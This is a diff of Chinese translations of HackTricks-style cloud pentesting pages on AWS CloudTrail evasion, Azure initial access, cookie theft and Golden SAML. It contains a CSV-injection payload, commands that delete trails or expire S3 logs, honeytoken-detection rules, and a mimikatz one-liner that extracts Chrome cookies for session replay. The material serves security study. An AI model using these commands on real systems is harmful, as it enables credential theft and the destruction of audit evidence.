事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,它们由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\
|
||||
事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,这些日志由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\
|
||||
CloudTrail 的日志可以 **跨账户和跨区域聚合。**\
|
||||
CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 sha-256 哈希。\
|
||||
CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 SHA-256 哈希。\
|
||||
创建 Trail 时,事件选择器将允许您指示要记录的 Trail:管理、数据或洞察事件。
|
||||
|
||||
日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
|
||||
日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权限的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
|
||||
|
||||
日志存储在 **具有此名称格式的 S3 存储桶中**:
|
||||
|
||||
@@ -59,7 +59,7 @@ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志
|
||||
|
||||
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
这样,您可以轻松地在所有账户的所有区域中配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。
|
||||
这样,您可以轻松地在所有账户的所有区域配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。
|
||||
|
||||
### 日志文件检查
|
||||
|
||||
@@ -72,8 +72,8 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
|
||||
**CloudTrail 可以自动将日志发送到 CloudWatch,以便您可以设置警报,当执行可疑活动时提醒您。**\
|
||||
请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个 **角色** 来允许该操作。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail:
|
||||
|
||||
- CreateLogStream: 这允许创建 CloudWatch Logs 日志流
|
||||
- PutLogEvents: 将 CloudTrail 日志传送到 CloudWatch Logs 日志流
|
||||
- CreateLogStream:这允许创建 CloudWatch Logs 日志流
|
||||
- PutLogEvents:将 CloudTrail 日志传送到 CloudWatch Logs 日志流
|
||||
|
||||
### 事件历史
|
||||
|
||||
@@ -83,9 +83,9 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志:
|
||||
|
||||
### 洞察
|
||||
|
||||
**CloudTrail Insights** 自动 **分析** 来自 CloudTrail 路径的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为一个洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**。
|
||||
**CloudTrail Insights** 自动 **分析** 来自 CloudTrail 路径的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为一个洞察事件。这些事件使 **查找和响应异常 API 活动比以往任何时候都更容易**。
|
||||
|
||||
洞察存储在与 CloudTrail 日志相同的存储桶中: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
洞察存储在与 CloudTrail 日志相同的存储桶中:`BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### 安全
|
||||
|
||||
@@ -96,7 +96,7 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志:
|
||||
|
||||
## 访问顾问
|
||||
|
||||
AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用及相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。
|
||||
AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用和相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。
|
||||
|
||||
> [!TIP]
|
||||
> 因此,访问顾问告知 **给予用户的不必要权限**,以便管理员可以删除它们
|
||||
@@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
|
||||
### **CSV 注入**
|
||||
|
||||
在 CloudTrail 中可以执行 CVS 注入,如果日志以 CSV 格式导出并在 Excel 中打开,将执行任意代码。\
|
||||
以下代码将生成一个包含有效负载的坏 Trail 名称的日志条目:
|
||||
以下代码将生成一个包含有效负载的错误 Trail 名称的日志条目:
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
@@ -139,7 +139,7 @@ print(response)
|
||||
有关 CSV 注入的更多信息,请查看页面:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
|
||||
{{#endref}}
|
||||
|
||||
有关此特定技术的更多信息,请查看 [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
@@ -148,15 +148,15 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
|
||||
### HoneyTokens **绕过**
|
||||
|
||||
Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就一定有人窃取了该密钥。
|
||||
Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就说明该密钥可能被盗。
|
||||
|
||||
然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 创建的 Honeytokens 要么使用可识别的账户名称,要么对所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否为 Honeytoken**。
|
||||
然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否为 Honeytoken**。
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) 有一些规则来检测密钥是否属于 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
- 如果 **`canarytokens.org`** 出现在角色名称中,或者账户 ID **`534261010715`** 出现在错误消息中。
|
||||
- 最近测试时,他们使用的账户是 **`717712589309`**,并且名称中仍然包含 **`canarytokens.com`** 字符串。
|
||||
- 如果 **`SpaceCrab`** 出现在错误消息中的角色名称中
|
||||
- 如果 **`SpaceCrab`** 出现在角色名称的错误消息中
|
||||
- **SpaceSiren** 使用 **uuids** 生成用户名:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- 如果 **名称看起来像是随机生成的**,则很有可能是 HoneyToken。
|
||||
|
||||
@@ -181,32 +181,32 @@ return (e)
|
||||
|
||||
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
|
||||
```
|
||||
检查更多信息请访问[**原始研究**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)。
|
||||
检查更多信息请访问 [**原始研究**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)。
|
||||
|
||||
#### 不生成日志
|
||||
|
||||
最有效的技术实际上是一个简单的方法。只需使用您刚找到的密钥访问您自己攻击者账户中的某个服务。这将使**CloudTrail在您自己的AWS账户中生成日志,而不是在受害者的账户中**。
|
||||
最有效的技术实际上是一个简单的方法。只需使用您刚找到的密钥访问您自己攻击者账户中的某个服务。这将使 **CloudTrail 在您自己的 AWS 账户中生成日志,而不是在受害者的账户中**。
|
||||
|
||||
问题在于,输出将显示一个错误,指示账户ID和账户名称,因此**您将能够看到它是否是一个Honeytoken**。
|
||||
问题在于,输出将显示一个错误,指示账户 ID 和账户名称,因此 **您将能够看到它是否是一个 Honeytoken**。
|
||||
|
||||
#### 没有日志的AWS服务
|
||||
#### 没有日志的 AWS 服务
|
||||
|
||||
过去有一些**不向CloudTrail发送日志的AWS服务**(在这里找到[列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务将**响应**一个**错误**,其中包含**密钥角色的ARN**,如果有人未经授权(即Honeytoken密钥)尝试访问它。
|
||||
过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务将 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。
|
||||
|
||||
通过这种方式,**攻击者可以在不触发任何日志的情况下获取密钥的ARN**。在ARN中,攻击者可以看到**AWS账户ID和名称**,很容易知道HoneyToken的公司账户ID和名称,因此攻击者可以识别该令牌是否是HoneyToken。
|
||||
这样,**攻击者可以在不触发任何日志的情况下获取密钥的 ARN**。在 ARN 中,攻击者可以看到 **AWS 账户 ID 和名称**,很容易知道 HoneyToken 的公司账户 ID 和名称,因此攻击者可以识别该令牌是否是 HoneyToken。
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,所有被发现不创建CloudTrail日志的公共API现在都已修复,因此您可能需要自己寻找...
|
||||
> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在都已修复,因此您可能需要自己寻找...
|
||||
>
|
||||
> 有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。
|
||||
> 有关更多信息,请查看 [**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。
|
||||
|
||||
### 访问第三方基础设施
|
||||
|
||||
某些AWS服务将**生成一些基础设施**,例如**数据库**或**Kubernetes**集群(EKS)。用户**直接与这些服务交互**(如Kubernetes API)**不会使用AWS API**,因此CloudTrail将无法看到此通信。
|
||||
某些 AWS 服务将 **生成一些基础设施**,例如 **数据库** 或 **Kubernetes** 集群(EKS)。用户 **直接与这些服务交互**(如 Kubernetes API) **不会使用 AWS API**,因此 CloudTrail 将无法看到此通信。
|
||||
|
||||
因此,具有EKS访问权限的用户如果发现EKS API的URL,可以在本地生成一个令牌,并**直接与API服务交谈而不被Cloudtrail检测到**。
|
||||
因此,具有 EKS 访问权限的用户如果发现 EKS API 的 URL,可以在本地生成一个令牌,并 **直接与 API 服务交谈而不被 Cloudtrail 检测到**。
|
||||
|
||||
更多信息请参见:
|
||||
|
||||
@@ -214,7 +214,7 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
|
||||
../../aws-post-exploitation/aws-eks-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### 修改CloudTrail配置
|
||||
### 修改 CloudTrail 配置
|
||||
|
||||
#### 删除轨迹
|
||||
```bash
|
||||
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
|
||||
# Remove all selectors (stop Insights)
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
||||
```
|
||||
在第一个示例中,提供了一个包含单个对象的 JSON 数组作为事件选择器。`"ReadWriteType": "ReadOnly"` 表示 **事件选择器仅应捕获只读事件**(因此 CloudTrail insights **不会检查写入** 事件,例如)。
|
||||
在第一个示例中,单个事件选择器作为包含单个对象的 JSON 数组提供。`"ReadWriteType": "ReadOnly"` 表示 **事件选择器仅应捕获只读事件**(因此 CloudTrail insights **不会检查写入** 事件,例如)。
|
||||
|
||||
您可以根据您的具体要求自定义事件选择器。
|
||||
|
||||
@@ -244,19 +244,19 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
|
||||
```bash
|
||||
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
|
||||
```
|
||||
### 修改存储桶配置
|
||||
### 修改桶配置
|
||||
|
||||
- 删除 S3 存储桶
|
||||
- 更改存储桶策略以拒绝来自 CloudTrail 服务的任何写入
|
||||
- 向 S3 存储桶添加生命周期策略以删除对象
|
||||
- 删除 S3 桶
|
||||
- 更改桶策略以拒绝来自 CloudTrail 服务的任何写入
|
||||
- 向 S3 桶添加生命周期策略以删除对象
|
||||
- 禁用用于加密 CloudTrail 日志的 kms 密钥
|
||||
|
||||
### Cloudtrail 勒索软件
|
||||
|
||||
#### S3 勒索软件
|
||||
|
||||
您可以 **生成一个非对称密钥** 并使 **CloudTrail 使用该密钥加密数据**,然后 **删除私钥**,以便 CloudTrail 内容无法恢复。\
|
||||
这基本上是 **S3-KMS 勒索软件**,详见:
|
||||
您可以 **生成一个非对称密钥** 并使 **CloudTrail 使用该密钥加密数据**,然后 **删除私钥**,以便无法恢复 CloudTrail 内容。\
|
||||
这基本上是一个 **S3-KMS 勒索软件**,详见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-s3-post-exploitation.md
|
||||
|
||||
@@ -17,12 +17,12 @@
|
||||
#### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### 公共 AMI 和 EBS 快照
|
||||
|
||||
AWS 允许 **任何人访问以下载 AMI 和快照**。您可以非常轻松地从自己的账户列出这些资源:
|
||||
AWS 允许 **任何人访问以下载 AMI 和快照**。您可以很容易地从自己的账户列出这些资源:
|
||||
```bash
|
||||
# Public AMIs
|
||||
aws ec2 describe-images --executable-users all
|
||||
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
如果您发现一个任何人都可以恢复的快照,请确保查看 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) 以获取下载和掠夺快照的说明。
|
||||
如果您发现一个可以被任何人恢复的快照,请确保查看 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) 以获取下载和掠夺快照的说明。
|
||||
|
||||
#### 公共 URL 模板
|
||||
```bash
|
||||
|
||||
@@ -18,22 +18,22 @@ az-basic-information/
|
||||
- **社交** 工程
|
||||
- **密码** 重用(密码泄露)
|
||||
- Azure 托管应用中的漏洞
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 访问元数据端点
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) 访问元数据端点
|
||||
- **本地文件读取**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- **`accessTokens.json`** 文件在 `az cli` 2.30 之前 - Jan2022 - 存储 **访问令牌为明文**
|
||||
- **`accessTokens.json`** 文件在 `az cli` 2.30 之前 - Jan2022 - 存储 **明文** 访问令牌
|
||||
- **`azureProfile.json`** 文件包含有关登录用户的 **信息**。
|
||||
- **`az logout`** 移除令牌。
|
||||
- 较旧版本的 **`Az PowerShell`** 将 **访问令牌** 以 **明文** 存储在 **`TokenCache.dat`** 中。它还将 **ServicePrincipalSecret** 以 **明文** 存储在 **`AzureRmContext.json`** 中。可以使用 cmdlet **`Save-AzContext`** 来 **存储** **令牌**。\
|
||||
- 较旧版本的 **`Az PowerShell`** 在 **`TokenCache.dat`** 中以 **明文** 存储 **访问令牌**。它还在 **`AzureRmContext.json`** 中以 **明文** 存储 **ServicePrincipalSecret**。可以使用 cmdlet **`Save-AzContext`** 来 **存储** **令牌**。\
|
||||
使用 `Disconnect-AzAccount` 来移除它们。
|
||||
- 第三方 **被攻破**
|
||||
- **内部** 员工
|
||||
- [**常见钓鱼**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)(凭证或 Oauth 应用)
|
||||
- [**常见钓鱼**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)(凭证或 Oauth 应用)
|
||||
- [设备代码认证钓鱼](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **密码喷洒**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
即使您 **没有攻陷** 您正在攻击的 Azure 租户中的任何用户,您仍然可以 **收集一些信息**:
|
||||
即使您 **没有攻陷任何用户** 在您攻击的 Azure 租户中,您仍然可以 **收集一些信息**:
|
||||
|
||||
{{#ref}}
|
||||
az-unauthenticated-enum-and-initial-entry/
|
||||
@@ -52,7 +52,7 @@ az-unauthenticated-enum-and-initial-entry/
|
||||
如果您在 Azure 内部的机器上发现了 SSRF,请查看此页面以获取技巧:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
### 绕过登录条件
|
||||
@@ -66,7 +66,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
- **浏览器** -- 可能只允许某些操作系统(Windows、Linux、Mac、Android、iOS)中的浏览器。找出受害者/公司使用的操作系统。
|
||||
- 您还可以尝试 **攻陷服务主体凭证**,因为它们通常限制较少,登录审核也较少
|
||||
|
||||
绕过后,您可能能够返回到初始设置,并且仍然可以访问。
|
||||
绕过后,您可能能够返回到最初的设置,并且仍然可以访问。
|
||||
|
||||
### 子域名接管
|
||||
|
||||
@@ -77,7 +77,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
> [!CAUTION]
|
||||
> 学习 **如何安装** az cli、AzureAD 和 Az PowerShell 在 [**Az - Entra ID**](az-services/az-azuread.md) 部分。
|
||||
|
||||
您需要知道的第一件事是 **您是谁**(您处于哪个环境中):
|
||||
您需要了解的第一件事是 **您是谁**(您处于哪个环境中):
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> 其中一个枚举 Azure 的最重要命令是 **`Get-AzResource`**,来自 Az PowerShell,因为它让你 **知道当前用户可见的资源**。
|
||||
> 识别 Azure 的最重要命令之一是 **`Get-AzResource`**,来自 Az PowerShell,因为它让你 **了解当前用户可见的资源**。
|
||||
>
|
||||
> 你可以在 **网页控制台** 中获取相同的信息,访问 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) 或搜索 "所有资源"
|
||||
|
||||
### ENtra ID 枚举
|
||||
|
||||
默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等...(查看 [默认 AzureAD 权限](az-basic-information/#default-user-permissions))。\
|
||||
默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等信息……(查看 [默认 AzureAD 权限](az-basic-information/index.html#default-user-permissions))。\
|
||||
你可以在这里找到指南:
|
||||
|
||||
{{#ref}}
|
||||
@@ -155,7 +155,7 @@ Azure DevOps 与 Azure 是分开的。它具有代码库、管道(yaml 或发
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
为了对工具进行**MitM**并**手动检查所有请求**,您可以执行:
|
||||
为了对工具进行**MitM**并**手动检查所有发送的请求**,您可以执行:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
@@ -9,22 +9,22 @@
|
||||
您可以查看 **浏览器 cookies 的位置** 在:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## 攻击
|
||||
|
||||
具有挑战性的是,这些 **cookies 是为用户加密的**,通过 Microsoft 数据保护 API (**DPAPI**)。这是使用与用户相关的加密 [密钥进行加密](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),这些 cookies 属于该用户。您可以在以下位置找到更多信息:
|
||||
具有挑战性的是,这些 **cookies 是通过 Microsoft 数据保护 API (**DPAPI**) 加密的**。这是使用与用户相关的加密 [密钥进行加密](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)。您可以在以下链接找到更多信息:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
手握 Mimikatz,我能够 **提取用户的 cookies**,即使它们是加密的,使用以下命令:
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
对于 Azure,我们关心的认证 cookie 包括 **`ESTSAUTH`**、**`ESTSAUTHPERSISTENT`** 和 **`ESTSAUTHLIGHT`**。这些 cookie 的存在是因为用户最近在 Azure 上活跃。
|
||||
对于 Azure,我们关心的身份验证 cookie 包括 **`ESTSAUTH`**、**`ESTSAUTHPERSISTENT`** 和 **`ESTSAUTHLIGHT`**。这些 cookie 的存在是因为用户最近在 Azure 上活跃。
|
||||
|
||||
只需导航到 login.microsoftonline.com 并添加 cookie **`ESTSAUTHPERSISTENT`**(由“保持登录”选项生成)或 **`ESTSAUTH`**。这样您将被认证。
|
||||
|
||||
|
||||
@@ -6,11 +6,11 @@
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同,但通常包括**身份验证**,几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**,以便**共享访问**一组资源。
|
||||
|
||||
您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。这种登录方法确保所有用户**身份验证发生在本地**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
|
||||
您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证在本地进行**。此方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
基本上,在联邦中,所有**身份验证**发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
基本上,在联邦中,所有**身份验证**都发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
|
||||
**安全断言标记语言 (SAML)** 用于在提供者之间**交换**所有身份验证和授权**信息**。
|
||||
|
||||
@@ -24,24 +24,24 @@
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. 最初,用户访问一个应用程序(服务提供者或 SP,例如 AWS 控制台或 vSphere Web 客户端)。根据具体实现,这一步可能会被绕过,直接将客户端引导到 IdP(身份提供者)。
|
||||
1. 最初,用户访问一个应用程序(服务提供者或 SP,例如 AWS 控制台或 vSphere Web 客户端)。根据具体实现,此步骤可能会被绕过,直接将客户端引导到 IdP(身份提供者)。
|
||||
2. 随后,SP 确定适当的 IdP(例如,AD FS,Okta)进行用户身份验证。然后,它构建一个 SAML(安全断言标记语言)AuthnRequest,并将客户端重定向到所选的 IdP。
|
||||
3. IdP 接管,进行用户身份验证。身份验证后,IdP 制定一个 SAMLResponse,并通过用户转发给 SP。
|
||||
4. 最后,SP 评估 SAMLResponse。如果成功验证,意味着与 IdP 之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。
|
||||
4. 最后,SP 评估 SAMLResponse。如果成功验证,表明与 IdP 之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。
|
||||
|
||||
**如果您想了解更多关于 SAML 身份验证和常见攻击的信息,请访问:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## 旋转
|
||||
|
||||
- AD FS 是基于声明的身份模型。
|
||||
- "..声明只是关于用户的语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。"
|
||||
- "..声明只是关于用户的简单语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。"
|
||||
- 用户的声明写入 SAML 令牌中,然后由 IdP 签名以提供机密性。
|
||||
- 用户通过 ImmutableID 进行识别。它是全局唯一的,并存储在 Azure AD 中。
|
||||
- ImmutableID 存储在本地作为 ms-DS-ConsistencyGuid,供用户使用,和/或可以从用户的 GUID 派生。
|
||||
- ImmutableID 存储在本地作为 ms-DS-ConsistencyGuid,用户和/或可以从用户的 GUID 派生。
|
||||
- 更多信息请参见 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**黄金 SAML 攻击:**
|
||||
@@ -56,9 +56,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
|
||||
**身份提供者 (IdP)** 生成 **SAMLResponse** 以授权用户登录的过程至关重要。根据 IdP 的具体实现,**响应**可能会使用 **IdP 的私钥**进行**签名**或**加密**。此过程使 **服务提供者 (SP)** 能够确认 SAMLResponse 的真实性,确保它确实是由受信任的 IdP 发出的。
|
||||
|
||||
可以与 [黄金票证攻击](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) 进行类比,其中用于验证用户身份和权限的密钥(黄金票证的 KRBTGT,黄金 SAML 的令牌签名私钥)可以被操纵以**伪造身份验证对象**(TGT 或 SAMLResponse)。这允许冒充任何用户,授予对 SP 的未授权访问。
|
||||
可以与 [黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) 进行类比,其中用于验证用户身份和权限的密钥(KRBTGT 用于黄金票证,令牌签名私钥用于黄金 SAML)可以被操纵以**伪造身份验证对象**(TGT 或 SAMLResponse)。这允许冒充任何用户,授予对 SP 的未授权访问。
|
||||
|
||||
黄金 SAML 提供某些优势:
|
||||
黄金 SAML 提供了一些优势:
|
||||
|
||||
- 它们可以**远程创建**,无需成为相关域或联邦的一部分。
|
||||
- 即使启用**双因素身份验证 (2FA)**,它们仍然有效。
|
||||
@@ -67,23 +67,23 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
|
||||
#### AWS + AD FS + 黄金 SAML
|
||||
|
||||
